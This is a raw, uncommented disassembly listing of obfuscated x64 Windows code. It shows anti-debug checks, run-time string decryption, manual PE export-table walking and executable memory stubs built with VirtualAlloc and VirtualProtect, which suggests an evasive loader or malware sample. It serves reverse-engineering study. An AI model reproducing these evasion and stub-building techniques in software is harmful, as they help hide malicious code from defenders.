xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cd7d
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cd7d
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cd9d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
mov r8d, 0x4948ce87
cmp rax, rsi
jne 0x14002ce5c
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ce3c
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ce3c
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ce5c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002cf15
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cef5
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cef5
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cf15
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002cfbf
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cf9f
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cf9f
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cfbf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002d078
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d058
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d058
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d078
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov qword [rbp + 0xe50], r14
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002d129
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d109
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d109
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d129
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002d1e2
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d1c2
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d1c2
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d1e2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rdi, qword [rbp + 0x1090]
sub rdi, qword [rbp + 0x1088]
sar rdi, 3
lea rcx, [rbp + 0x1e7d0]
call fcn.140038560
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002d2b4
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d294
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d294
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d2b4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov edi, r14d
mov rax, qword [rbp + 0x1090]
sub rax, qword [rbp + 0x1088]
sar rax, 3
test rax, rax
je 0x14002d5aa
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002d37b
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x13728509
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x4948ce87
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d662
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d662
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002d662
movsxd rax, ebx
mov rcx, qword [rbp + 0x1088]
mov rcx, qword [rcx + rax*8]
call fcn.140028388
mov r15d, eax
mov rcx, qword gs:[0x58]
movabs r8, 0x6d643a356b9160c0
cmp rcx, rsi
jne 0x14002d431
mov rcx, qword gs:[8]
xor rcx, r8
mov qword [rbp + 0x1048], rcx
mov rcx, qword gs:[8]
xor rcx, r8
mov qword [rbp + 0x1050], rcx
mov rcx, qword gs:[8]
xor rcx, r8
mov qword [rbp + 0x1058], rcx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0x1048]
cmp rax, rcx
je 0x14002d682
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x14002d682
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x14002d682
test r15d, r15d
jne 0x14002d6e2
mov rax, qword gs:[0x58]
mov r15d, 0x8d664a41
cmp rax, rsi
jne 0x14002d4d6
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0x1068], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0x1070], rax
mov rax, qword gs:[8]
xor rax, r15
mov qword [rbp + 0x1078], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0x1068]
cmp rax, rcx
je 0x14002d6a2
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x14002d6a2
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x14002d6a2
mov rcx, qword [rbp + 0x1090]
sub rcx, qword [rbp + 0x1088]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x14002d58a
mov rax, qword gs:[8]
xor rax, r8
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[8]
xor rax, r8
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[8]
xor rax, r8
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x14002d6c2
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x14002d6c2
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x14002d6c2
inc edi
mov rcx, qword [rbp + 0x1090]
sub rcx, qword [rbp + 0x1088]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x14002d2d2
mov rax, qword gs:[0x58]
cmp rax, rsi
jne 0x1400373b7
mov rax, qword gs:[8]
movabs rcx, 0x6d643a356b9160c0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d642
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d642
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400373b7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword [rbp + 0x1058]
mov rdx, qword [rbp + 0x1050]
xor rdx, rax
mov rcx, qword [rbp + 0x1048]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword [rbp + 0x1078]
mov rdx, qword [rbp + 0x1070]
xor rdx, rax
mov rcx, qword [rbp + 0x1068]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.14009dce8
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x218], 0x442de04b
mov dword [rbp + 0x21c], 0x91e66e8b
mov dword [rbp + 0x220], 0xe2a0621f
mov word [rbp + 0x224], 0x78
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x1092e4720
movabs r9, 0xd77599cad
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x1aeeb3395a
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x218], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x14002d785
mov byte [rbp + 0x225], r14b
mov dword [rbp + 0x108], 0xc5b566e2
mov dword [rbp + 0x10c], 0x2934d56c
mov word [rbp + 0x110], 0xbf
mov r8, r14
movabs rax, 0x952a08029
mov qword [rbp - 0x38], rax
mov r9, rax
mov r10d, 9
movabs r11, 0x12a5410052
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x108], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x14002d82a
mov byte [rbp + 0x111], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002dab3
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002dab3
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002dab3
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002dab3
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002dab3
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x218]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002d925
inc rax
test edi, edi
jne 0x14002d910
test r8d, r8d
je 0x14002d937
inc rdx
cmp rdx, rsi
jb 0x14002d8ff
jmp 0x14002dab3
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002dab3
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14002dab0
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.140096d20
or dword [rbp + 0x20ee4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1fb60]
call fcn.140038fc8
lea rcx, [rbp + 0x1fb60]
call fcn.140038560
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x1fb60]
call fcn.140038560
mov eax, eax
mov qword [rbp + rdi*8 + 0x286e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14002d9c5
mov r8d, 0x1000
lea rdx, [rbp + 0x286e0]
mov rcx, rbx
call fcn.1400c07a0
mov dword [0x1400ec284], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400ec280]
movsd qword [rdi], xmm0
movzx eax, word [0x1400ec288]
mov word [rdi + 8], ax
mov al, byte [0x1400ec28a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xf94], r14d
lea r9, [rbp + 0xf94]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe50]
call rdi
mov edi, eax
lea r9, [rbp + 0xf94]
mov r8d, dword [rbp + 0xf94]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400c0e40
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400ec284], r14d
test edi, edi
js 0x14002dac6
jmp 0x14002dab3
xor r14d, r14d
mov rcx, qword [rbp + 0xe50]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14002dadc
mov qword [rbp + 0xe50], r14
mov ecx, r15d
call fcn.140027e50
mov rcx, qword [rbp + 0xe50]
lea rax, [rcx - 1]
mov ebx, 0x563979c8
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x58]
ja 0x140037028
mov r15d, 0x13728509
cmp rax, rbx
jne 0x14002dbaf
mov rcx, qword gs:[8]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x4948ce87
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002db8f
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002db8f
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dbaf
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
movdqa xmm0, xmmword [0x1400dfde0]
movdqu xmmword [rbp + 0xba8], xmm0
movdqa xmm1, xmmword [0x1400e0020]
movdqu xmmword [rbp + 0xbb8], xmm1
mov dword [rbp + 0xbc8], 0xdf719a6c
mov word [rbp + 0xbcc], 0x89e9
xor eax, eax
mov byte [rbp + 0xbce], al
mov r8, r14
movabs rbx, 0x1092e4720
movabs r9, 0x275cde8ee6
lea r10d, [rax + 0x26]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba8], dil
inc r8
add r9, r12
add r10, 0x26
movabs rax, 0x4eb9bd1dcc
cmp r9, rax
jb 0x14002dc0f
mov byte [rbp + 0xbce], r14b
lea rcx, [rbp + 0xba8]
call fcn.14000240c
mov rax, qword gs:[0x58]
mov ebx, 0x563979c8
mov esi, 0x8d664a41
cmp rax, rbx
jne 0x14002dd3d
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dd1d
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dd1d
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dd3d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009dce8
int3
call fcn.1400280b0
mov rcx, qword gs:[0x58]
test al, al
jne 0x14002e0d7
cmp rcx, rbx
jne 0x14002de05
mov rcx, qword gs:[8]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x4948ce87
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dde5
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dde5
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002de05
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
movdqa xmm0, xmmword [0x1400dfeb0]
movdqu xmmword [rbp + 0x2f8], xmm0
mov word [rbp + 0x308], Ordinal_200
mov r10, r14
movabs r8, 0x119c12b931
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2338257262
movabs r15, 0x8080808080808081
movabs r13, 0x1092e4720
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x2f8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002de4f
mov byte [rbp + 0x309], r14b
movdqa xmm0, xmmword [0x1400dfe10]
movdqu xmmword [rbp + 0xa20], xmm0
movdqa xmm1, xmmword [0x1400dfd40]
movdqu xmmword [rbp + 0xa30], xmm1
mov r8, r14
mov r9d, Ordinal_33
movabs r10, 0x201c9a9cff
movabs r11, 0x40393539fe
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xa20]
xor dil, r8b
mov byte [rbp + r8 + 0xa20], dil
inc r8
add r10, r12
add r9, 0x1f
cmp r10, r11
jb 0x14002def0
mov byte [rbp + 0xa3f], r14b
xor r9d, r9d
lea r8, [rbp + 0x2f8]
lea rdx, [rbp + 0xa20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x58]
cmp rax, rbx
jne 0x14002e029
mov rax, qword gs:[8]
movabs rcx, 0x6d643a356b9160c0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e009
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e009
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e029
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
mov rax, qword gs:[0x58]
cmp rax, rbx
jne 0x1400379b3
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e0b7
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e0b7
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400379b3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
cmp rcx, rbx
jne 0x14002e178
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[8]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e158
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e158
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e178
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009dce8
int3
movdqa xmm0, xmmword [0x1400dfdb0]
movdqu xmmword [rbp + 0x280], xmm0
xor eax, eax
mov byte [rbp + 0x290], al
mov r8, r14
movabs rsi, 0x8080808080808081
movabs rbx, 0x1092e4720
movabs r9, 0x1092e47210
lea r10d, [rax + 0x10]
movabs r11, 0x2125c8e420
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x280], dil
inc r8
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x14002e1bf
mov byte [rbp + 0x290], r14b
lea rcx, [rbp + 0x280]
call fcn.140027ea0
mov rcx, qword gs:[0x58]
mov ebx, 0x563979c8
cmp rcx, rbx
jne 0x14002e2ee
mov rcx, qword gs:[8]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[8]
xor edx, edx
mov eax, 0x4948ce87
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e2ce
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e2ce
mov rcx, qword gs:[8]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e2ee
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009dce8
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14002e487
movdqa xmm0, xmmword [0x1400dfeb0]
movdqu xmmword [rbp + 0x310], xmm0
mov word [rbp + 0x320], Ordinal_200
mov r10, r14
movabs rbx, 0x1092e4720
movabs r8, 0x119c12b931
lea r11d, [rax + 0x11]
movabs r9, 0x2338257262
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x310], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002e359
mov byte [rbp + 0x321], r14b
movdqa xmm0, xmmword [0x1400dff90]
movdqu xmmword [rbp + 0xb80], xmm0
movdqa xmm1, xmmword [0x1400e00a0]
movdqu xmmword [rbp + 0xb90], xmm1
mov word [rbp + 0xba0], 0x8a60
xor eax, eax
mov byte [rbp + 0xba2], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb80], dil
inc r8
add r9, r12
add r10, 0x22
movabs rax, 0x46704ae4c4
cmp r9, rax
